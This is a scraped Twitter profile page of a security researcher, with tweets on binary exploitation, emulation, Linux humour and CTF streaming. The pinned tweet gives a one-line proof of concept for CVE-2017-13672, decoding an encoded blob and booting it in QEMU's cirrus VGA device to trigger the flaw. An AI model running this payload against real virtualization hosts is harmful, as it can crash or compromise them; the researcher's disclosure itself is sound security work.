Dаvіd Вucһаnаn

@David3141593

from pwn import * ; """ a.k.a. Retr0id """

Ring -1
da.vidbuchanan.co.uk
Joined December 2013
154 Photos and videos Photos and videos

Tweets

You blocked @David3141593

Are you sure you want to view these Tweets? Viewing Tweets won't unblock @David3141593

  1. Pinned Tweet
    31 Aug 2017

    CVE-2017-13672: echo H4sICH0mqFkAA3BvYwDbweS/W8LxrMCuK8wbZN85bWh494VhFIwUELoKAIJvFIwAAgAA|base64 -d|gunzip>a&&qemu-system-i386 -vga cirrus a

    4 replies . 4 retweets 35 likes
    Show this thread
    Show this thread
    Undo
  2. Jun 1

    Shower thought: You find a fundamental cryptographic flaw in Bitcoin. Would it be legal and/or ethical to exploit this flaw for profit?

    2 replies . 2 retweets 6 likes
    Undo
  3. May 31

    Coroutines are amazing, and it's a crime that they weren't even mentioned at any point in my CS education.

    1 reply . 8 likes
    Undo
  4. May 31

    Chrome: *breaks ad blockers* Firefox Users:

    Jim Halpert smiling through blinds, from The Office
    2 replies . 11 retweets 34 likes
    Undo
  5. May 24

    Also, CHIP-8

    1 reply . 3 likes
    Show this thread
    Show this thread
    Undo
  6. May 24

    Am I the only one thinking that this looks like an *excellent* hardware platform for Tamagotchi emulation?

    Looks like there will be a new handheld in 2020 called with a crank to control games. It's promised a beefy CPU. But don't raise your expectations too much yet. The transflective display from Sharp sounds cool but it's limited to 20fps. Hope they release full specs soon
    2 replies . 1 retweet 9 likes
    Show this thread
    Show this thread
    Undo
  7. May 20

    While I have everyone's attention, I've made a placeholder twitch account: Probably won't have time to work on this for a few weeks though.

    1 retweet 17 likes
    Show this thread
    Show this thread
    Undo
  8. May 19

    A while back I prototyped a "Twitch plays binary exploitation" setup. Would anyone be interested in seeing this become a real thing? The general idea is that whatever people type in chat would get sent to stdin (one user at a time, with some kind of queue).

    23 replies . 149 retweets 731 likes
    Show this thread
    Show this thread
    Undo
  9. May 6

    Year 2025: Microsoft announces WSL 3.0 with a brand new architecture: The host kernel is Linux, with a paravirtualized NT subsystem for all your favorite legacy apps! Year of Linux on the Desktop confirmed.

    1 reply . 6 retweets 29 likes
    Undo
  10. May 2

    Only one of these URLs is invalid.

    1 retweet 9 likes
    Undo
  11. Apr 28

    If you were doing to use this (which you shouldn't), you'd probably want to make a backup copy of your `shuf` binary, and /usr/share/dict/words - if either of those changed, you've lost all your passwords, lol.

    7 likes
    Show this thread
    Show this thread
    Undo
  12. Apr 28

    Disclaimer: do not use

    1 reply . 6 likes
    Show this thread
    Show this thread
    Undo
  13. Apr 28

    A really really crap password manager in 2 lines of bash: $ dd if=/dev/urandom of=mkey bs=1k count=1 $ function pwman { echo $(shuf --random-source=<(yes $(sha512sum <(cat mkey;echo $1))) -n3 /usr/share/dict/words|tr A-Z a-z|tr -d \');} $ pwman twitter actings floats morals

    1 reply . 2 retweets 24 likes
    Show this thread
    Show this thread
    Undo
  14. Apr 28

    *NTP

    1 reply . 8 likes
    Show this thread
    Show this thread
    Undo
  15. Apr 28

    Hopefully if they lock down the Date settings, kids will learn how to spoof MTP packets.

    This Tweet is unavailable.
    1 reply . 1 retweet 18 likes
    Show this thread
    Show this thread
    Undo
  16. Apr 15

    Not sure which C standard to use? I created this handy infographic.

    3 replies . 9 retweets 24 likes
    Undo
  17. Apr 15

    Oops, a random stranger just logged into my Facebook account, because my old phone number got recycled and given to them. I wonder at what point it will be profitable for people to buy pre-paid sims and start checking for associated accounts...

    1 reply . 9 retweets 28 likes
    Undo
  18. Apr 8

    Every time I look up the price of micro SD cards I am pleasantly surprised. Flash storage seems to be the only thing exponentially decreasing in price these days...

    2 replies . 20 likes
    Undo
  19. Retweeted
    Apr 7

    The wait is soon over! Ep. 3 of Pwny Racing will go live on Sat April 13th at 15:00 UTC with and me commentating our players , , and trying to be the first to solve a pwnable challenge. Tune in:

    3 replies . 14 retweets 44 likes
    Show this thread
    Show this thread
    Undo
  20. Retweeted
    Apr 6

    Got a first solve on the first version of flagsearch! Congrats and nice technique!

    1 reply . 1 retweet 4 likes
    Undo
  21. Apr 3

    Some people get unsolicited DMs asking them to hack stuff. Apparently I get people asking me to fix their WiFi ???

    4 replies . 3 retweets 32 likes
    Undo

@David3141593 hasn't Tweeted yet.

Loading seems to be taking a while.

Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.

    You may also like

    ·